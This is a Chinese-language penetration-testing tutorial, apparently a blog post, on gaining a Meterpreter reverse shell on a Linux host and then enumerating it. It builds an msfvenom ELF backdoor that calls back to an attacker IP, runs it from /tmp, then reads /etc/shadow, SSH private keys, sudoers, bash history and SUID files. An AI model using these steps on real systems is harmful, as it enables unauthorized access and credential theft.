Linux主机信息收集

发布于 2021-04-16  454 次阅读


《渗透测试》目录

Linux主机渗透

  • msfvenom生成linux平台的可执行文件(elf)后门
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.123.136 lport=8882 -f elf -o
localmsf8882.elf
  • msf开启handler
handler -H 192.168.123.136 -P 8882 -p linux/x86/meterpreter/reverse_tcp
生成linux后门时需注意位数为32还是64的架构:
    常见架构:        
      32bit : i386,i686,x86,arm        
      64bit:x64,x86_64,amd64,arm64,aarch64
  • 上传后门至靶机
/tmp目录:所有用户、用户组都具有可写权限
上传至/tmp目录后使用“chmod +x 后门文件名”命令添加执行权限
  • 靶机运行后门,获取meterpreter
./localmsf8882.elf &        (后台运行)
使用sessions命令进入meterpreter,输入shell命令进行操作
meterpreter获取到shell默认是/bin/sh,可以使用python -c "import pty;pty.spawn('/bin/bash’);”切换至/bin/bash

Linux主机信息收集

  • 系统架构
uname -a
> 打印系统信息
可以查看内核版本、发行版本号、CPU架构、指令集架构、操作系统架构
cat /etc/issue
> /etc/issue是一个文本文件,其中包含要在登录提示之前打印的消息或系统标识。(登陆时弹出的信息,可能会包含一些敏感信息)
cat /etc/*-release        (此处用了通配符)
> /etc/lsb-release(Ubuntu系统), /etc/redhat-release(centos等系统) 查看操作系统发行版本。
cat /proc/version        (可省略,包含一些编译、库文件等信息)
> /proc/version指定了Linux内核的版本,用于编译内核的gcc的版本以及内核编译的时间。 它还包含内核编译器的用户名。
cat /proc/sys/kernel/version        (可省略)
> /proc/sys/kernel/ 中的文件可以用来调整和监视Linux内核操作中的各种活动。
  • 进程
ps -elf   (ps是process缩写)
ps aux    (另一种写法,a为所有程序,u为用户,x为显示所有终端的程序)
> 列出当前进程快照
ptx/用户id 表示远程连接的进程,RSS表示常驻内存大小,VSZ表示虚拟内存大小,STAT表示状态(s为睡眠,r为运行,z为僵尸,T为侦测或停止。I为)
ls -al /proc/ (该文件夹包含进程,是一些底层信息)
> /proc是非常特殊的,它也是一个虚拟文件系统。 它有时被称为过程信息伪文件系统。它不包含“真实”文件,而是包含运行时系统信息(例如系统内存,安装的设备,硬件配置等)。
ls -al /proc/99
> 查看关于PID 99的信息.
top(实时查看进程)
> top命令显示您的Linux机器的处理器活动,并显示实时管理的任务。它会显示正在使用的处理器和内存以及运行进程等其他信息。按q可以退出。
  • 用户和组
id
> 找到用户的UID或GID等信息.
w
> 显示登录到Linux服务器的人员.
whoami
> 显示当前用户名
last lastb
> 显示用户登录记录 显示用户登录失败记录
lastlog
> 格式化打印上次登录日志 /var/log/lastlog 文件的内容。
cat /etc/passwd        (用户数据库信息)
> 有关用户信息的基于文本的数据库,可以登录系统或其他拥有正在运行的进程的操作系统用户身份。
cat /etc/shadow        (用户密码)
> /etc/shadow用于通过限制除高度特权的用户对散列密码数据的访问来提高密码的安全级别。
通常情况下,该数据保存在超级用户拥有的文件中,并且只能由超级用户访问。
cat /etc/sudoers
> /etc/sudoers 文件内容是使用sudo命令必须遵守的规则
sudo -V
> 打印sudo版本字符串
sudo -l
> 列出目前用户可执行与无法执行的指令
  • SSH服务信息
cat ~/.ssh/authorized_keys        (vps中存储公钥的地方)
> 使用公钥认证,认证实体具有公钥和私钥。
私钥保存在你登录的计算机上,而公钥存储在要登录的所有计算机上的 .ssh/authorized_keys 文件中。

cat ~/.ssh/id_rsa.pub        (公钥)
> RSA 公钥 会保存为 .ssh/id_rsa.pub。
cat ~/.ssh/id_rsa        (私钥)
> RSA 私钥 会保存在你的home目录中 :.ssh/id_rsa。

cat /etc/ssh/ssh_config        (本地客户端)
> OpenSSH SSH 控制端配置文件
cat /etc/ssh/sshd_config        (服务端)
> OpenSSH SSH 服务端配置文件
--密钥登录
ssh-keygen
> 生成密钥对
   私钥保存在你登录的计算机上,
   公钥存储在要登录的所有计算机上的 .ssh/authorized_keys 文件中。

cat ~/.ssh/id_rsa.pub >> authorized_keys        (追加写入)
>安装公钥

chmod 600 ~/.ssh/authorized_keys
chmod 600 ~/.ssh/id_rsa
chmod 700 ~/.ssh
> 设置权限
vim /etc/ssh/sshd_config            (如果登陆失败可进行配置修改)
> 编辑服务端配置文件
RSAAuthentication yes
PubkeyAuthentication yes
PermitRootLogin yes
> [可选]禁用密码登录
PasswordAuthentication no
service sshd restart
> 重启ssh服务
  • 服务状态
service --status-all        (此处可用nmap代替去查询)
> 检查所有服务状态
systemctl -a
> 列出安装在文件系统中的所有单元.
service servicename start
或者systemctl start servicename
> 启动某个服务

service servicename stop
systemctl stop servicename
> 停止某个服务
service servicename status
systemctl status servicename
> 显示某个服务状态信息
cat /etc/services            (某个服务对应端口)
> /etc/services将端口号映射到指定的服务.
  • 安全 - iptables
netfilter/iptables(简称为iptables)组成Linux平台下的包过滤防火墙
iptables -L
> 列出所有规则链。
iptables -F
> 删除选定规则链中的所有规则.

iptables -A INPUT -p icmp -m icmp –icmp-type 0 -j ACCEPT
> 请执行iptables -p icmp –help 获得更多信息.
iptables -A INPUT -p tcp -m tcp –sport 80 -m state –state RELATED,ESTABLISHED -j ACCEPT
> 允许来自src端口80的tcp连接
> -A 新增一条规则 , INPUT[入方向],OUTPUT[出方向]
> -p 协议类型
> -sport 源端口 -dport 目标端口
> -j 处理数据包的动作,ACCEPT 、DROP

iptables -A OUTPUT -p tcp -m tcp -dport 80 -m state –state NEW,RELATED,ESTABLISHED -j ACCEPT
> 允许 从/到 dst 端口80的TCP连接.
iptables -A INPUT -p udp -m udp –sport 53 -m state –state RELATED,ESTABLISHED -j ACCEPT
> 允许来自src端口80的udp连接

iptables -A OUTPUT -p udp -m udp –dport 53 -m state –state NEW,RELATED,ESTABLISHED -j ACCEPT
> 允许从/到 dst 端口53的udp连接.

iptables -A OUTPUT -p tcp -m tcp –sport 55552 -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp -m tcp –dport 55552 -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
> 允许本地主机连接到 localhost:55552
> -s 原地址ip -d 目标地址ip
> -i 指定数据包从哪块网卡进入 -o 指定数据包从哪块网卡输出
例子1 - 开启入方向ftp服务连接
iptables -A INPUT -p tcp --dport 21 -j ACCEPT
iptables -A INPUT -p tcp --dport 20 -j ACCEPT
例子2 - 只允许192.168.123.100的机器进行SSH连接
iptables -A INPUT -s 192.168.123.100 -p tcp --dport 22 -j ACCEPT
  • 网络
ifconfig -a        (若有不同网段的网卡,则可进行纵向渗透)
> 显示当前可用的所有接口
hostname
> 显示或设置系统的主机名称。
netstat -anltup        (记住)(a为所有,n为IP地址,l查看正在监听的,t为TCP,u为UDP,p为PID)
> 显示网络状态

lsof -nPi        (需要root用户,不常用)
> 列出打开的文件
route -e
> 显示/操作IP路由表

cat /etc/resolv.conf        (了解)
> 该文件是DNS域名解析的配置文件,它的格式很简单,每行以一个关键字开头,后接配置参数。resolv.conf的关键字主要有四个,分别是:`nameserver :定义DNS服务器的IP地址。
cat /etc/hosts        (记住,Windows路径为Windows\system32\drivers\etc\HOSTS)
> /etc/hosts 是一个简单的文本文件,将IP地址与主机名相关联,每个IP地址一行。

cat /etc/network/interfaces        (网络接口信息,可用来更改DHCP或者static获取IP)
> /etc/network/interfaces 文件包含网络接口配置信息。
cat /etc/sysconfig/network        (可能没有,不重要)
> /etc/sysconfig/network 文件用于指定有关服务器上所需网络配置的信息。
cat /etc/networks        (可能没有,不重要)
> /etc/networks 是一个简单的ASCII文件,描述这些网络的已知DARPA网络和符号名称。
  • 文件系统
cat /etc/profile        (启动程序)
> /etc/profile 包含Linux系统环境和启动程序。 它被所有的用户使用于bash,ksh,sh shell。
cat /etc/bashrc        
> /etc/bashrc 或者 /etc/bash.bashrc是全系统的bash每个交互式shell启动文件。是使用系统广泛的功能和别名。
cat ~/.bash_profile
> 类似 /etc/profile, 但仅适用于当前用户

cat ~/.bash_history        (全部历史记录,前提是bash)
> 打印当前用户bash命令的历史记录
ls -al /var/log/        (日志文件)
> 列出所有日志文件

find / -perm -1000 -type d 2>/dev/null        (1000表示权限,2>/dev/null表示忽略报错信息)
> 粘滞位 - 只有目录的所有者或文件的所有者可以在这里删除或重命名.
find / -perm -g=s -type f 2>/dev/null
> SGID(chmod 2000) - 作为组运行,而不是启动它的用户。
find / -perm -u=s -type f 2>/dev/null
> SUID(chmod 4000) - 作为所有者运行,而不是启动它的用户。
      (1000和2000、4000为特殊权限)

find / ( -perm -o w -perm -o x ) -type d 2>/dev/null
> 找出可写可执行的文件夹
find / -xdev -type d ( -perm -0002 -a ! -perm -1000) -print
> 找出可写的文件
find /dir -xdev ( -nouser -o -nogroup ) -print
> 找出不是所有者的文件
  • 计划任务 -crontab
crond是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,当安装完成操作系统后,默认会安装此服务 工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。

/var/spool/cron/ 这个目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名,比如tom建的crontab任务对应的文件就是/var/spool/cron/tom。一般一个用户最多只有一个crontab文件。

/etc/crontab 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab。
例子1 - 每天晚上9:30重启smb服务
30 21 * * * root /etc/init.d/smb restart
例子2 - 每天晚上11点到早上7点之间,每小时执行一次/root/backup.sh脚本,并将输出内容导出到/var/backup_log.txt
* 23-7/1 * * * root /root/backup.sh >> /var/backup_log.txt
crontab -l 显示当前用户crontab
ls -alh /var/spool/cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/crontab
ls -la /var/spool/cron/crontabs
> 列出所有用户的crontab文件
cat /var/spool/cron/crontabs/root
> 打印root用户的crontab命令

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。